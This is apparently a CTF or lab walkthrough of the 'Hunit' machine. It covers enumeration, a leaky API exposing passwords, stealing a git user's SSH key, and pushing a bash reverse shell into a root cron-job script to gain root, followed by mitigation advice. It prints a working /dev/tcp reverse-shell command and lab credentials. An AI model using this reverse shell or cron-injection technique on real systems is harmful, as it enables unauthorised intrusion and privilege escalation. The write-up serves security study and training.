Post

Hunit

Hunit

Introduction

In this walkthrough, we will conduct an enumeration of a web application to identify an API endpoint that exposes sensitive user data. By exploiting this endpoint, we can gain SSH access to the system as a low-privileged user. Our next objective is to locate a private SSH key associated with the git user, enabling us to push arbitrary changes to the master branch of a local repository. The system is configured with two root-owned cron jobs, one of which references a file stored in the git repository. After injecting reverse shell and pushing changes to this file, we escalate our privileges. Let’s start ..

Nmap

TCP

Run a quick Nmap TCP scan:

1
sudo nmap -sV $IP --open 

image.png

UDP

Check top 100 UDP ports:

1
sudo nmap -sU -F $IP

image.png

Full Port Scan

1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open

image.png

Services

Port 12445 (netbios-ssn)

1
smbclient -L  //$IP/ -N -p 12445

image.png

1
2
3
4
5
smbclient  //$IP/Commander -N -p 12445
RECURSE ON
PROMPT OFF
mget *
python3 -m http.server 80

All files are related to Kotlin programming language and I didn’t find anything interesting in them.

Port 43022 (SSH)

We usually skip SSH.

Web

Port 18030 (HTTP)

Just a game.

Port 8080 (HTTP)

  • Version - Apache Tomcat
1
feroxbuster -u http://$IP:8080/-C 404,403,400 -w /usr/share/wordlists/dirb/common.txt

image.png

I tried logging in using names as their passwords for the users but it didn’t work.

Loot

  • Thoroughly analyze Commander share files
  • Users: Jennifer, Julie, James

Exploitation

When analyzing page source codes of articles we can see api endpoint, accessing it we are actually redirected to /api/ in contrast /api didn’t work, this is how the server is configured. It expects a trailing slash at the end.

Accessing /api/ we can another endpoint called /user/ and there we can find user passwords.

image.png

We have seen the name dademola already in shares so let’s try to connect as that user using ssh.

1
ssh dademola@$IP -p 43022

Credentials

1
dademola : ExplainSlowQuest110

And it actually worked:

image.png

Privilege Escalation

Visiting shared we can see that share that we have seen before is this directory.

  • OSCP Checklist
    • Situational awareness
    • Exposed Confidential Information
    • Password Authentication Abuse
    • Hunting Sensitive Information
    • Sudo
    • SUID/SGID
    • Capabilities
    • Cron Jobs Abuse
    • Kernel Exploits
    • Check if sudoers file is writable
    • Try credentials you already obtained for various services admin roles

Checking for cron jobs I have identified:

1
ls -lah /etc/cron*

image.png

backups.sh is executed every 3 minutes and pull.sh is executed every 2 minutes:

image.png

We can see /git-server directory under / directory, going there we can see that it is a bare git repo.

If a folder contains a .git directory, it is a non-bare repository, typically used for development. You should not push to it directly, because Git protects the working directory from being overwritten. If a folder does not contain a .git directory but instead looks like the inside of one (e.g., it has HEAD, objects/, refs/, etc.), then it is a bare repository, and it’s safe to push to it, since there is no working directory to conflict with.

So we are gonna clone that repo to other directory, and will be able to make changes in it and push.

1
git clone file:///git-server/
  • Git interprets file:/// as “access this repository from the local file system” rather than from a remote server.
  • The path /git-server/ must be a bare Git repository (i.e., a repo intended for sharing, usually ending in .git and lacking a working directory).
  • Git creates a clone (a complete copy) of the repo in the current directory or a specified one.

image.png

image.png

After cloning bare-repo we have now a non-bare repo and git reconstructed a file from the last commit that’s why we can now see backups.sh file.

Running

1
git log

we can see commit history, all commits are done by our user.

image.png

To make changes in backup.sh file and injecting our reverse shell we first should set our identity for future commits.

1
2
git config --global user.email "dade@local.host"
git config --global user.name "Dademola"

image.png

Now let’s inject a reverse shell in that file:

1
2
3
4
5
echo "bash -c 'bash -i >& /dev/tcp/192.168.45.155/8080 0>&1'" > backups.sh
chmod +x backups.sh
git add -A
git commit -m "update"
git push origin master

We encountered an error saying that error: remote unpack failed: unable to create temporary object directory that means we cannot write to remote repository, let’s check it:

image.png

You see we don’t have write permissions over the remote repository, but user git does.

I found .ssh folder under git and its private key too.

1
ssh git@$IP -i id_rsa -p 43022

image.png

We have seen git-shell-commands directory under git user home, git user here is special user that can run just git shell commands.

It’s commonly used in setups where users access a Git repository over SSH but shouldn’t have full command-line access to the server.

Git Shell

Currently, only four commands are permitted to be called, git-receive-pack, git-upload-pack and git-upload-archive with a single required argument, or cvs server (to invoke git-cvsserver). Let’s do this using ssh.

Git commands using SSH

Git commands using SSH

1
2
3
4
GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes [-p PORT]' GIT COMMAND HERE

# git clone over ssh
GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes [-p PORT]' git clone user@IP:/PATH-TO-GIT

Now I am gonna use this method

1
GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes -p 43022' git clone git@$IP:/git-server

image.png

image.png

1
2
3
4
git config --global user.email "git@local.host"
git config --global user.name "git"
git add -A
git commit -m "update2"

But in order to push we should use our private key, because as it was already said:

  • user.email and user.name
    • Only set your identity in commits (who made the changes).
    • Do not authenticate you with the remote server.
  • SSH Key (id_rsa)
    • Required for actual authentication when pushing/pulling over SSH.
    • Without it, Git won’t know how to verify your access to the remote repo.
1
GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes -p 43022' git push origin master

image.png

It worked, we are gonna wait for a reverse connection, let’s just check it again to be sure.

For that we can go bare repo and see latest commits:

1
2
cd /git-server
git log

image.png

image.png

Now we are root!

image.png

Mitigation

  • API Security: Ensure that sensitive user data is properly protected by applying strict access controls and sanitizing all inputs and outputs. Additionally, implement rate limiting, logging, and monitoring to detect any unusual activity or potential abuse of API endpoints.
  • SSH Key Management: Enforce best practices for SSH key management, including the use of strong, unique keys, and storing them securely. Regularly audit SSH keys and ensure they are only granted to authorized users.
  • Cron Job Security: Validate and restrict the permissions of files referenced by cron jobs. Files should be stored in secure locations with appropriate access controls, and cron jobs should be configured to run with the minimum necessary privileges. Avoid using files in repositories that can be easily manipulated.
  • Repository Security: Implement strict access controls and code review processes for repositories to prevent unauthorized modifications. Use Git hooks or similar tools to ensure code integrity before accepting changes. Additionally, clone operations should be carefully monitored to prevent the introduction of malicious code.
  • Privilege Escalation Prevention: Apply the principle of least privilege to all user accounts and restrict access to critical system resources. Employ tools such as SELinux or AppArmor to restrict unauthorized access and reduce the potential for privilege escalation.
This post is licensed under CC BY 4.0 by the author.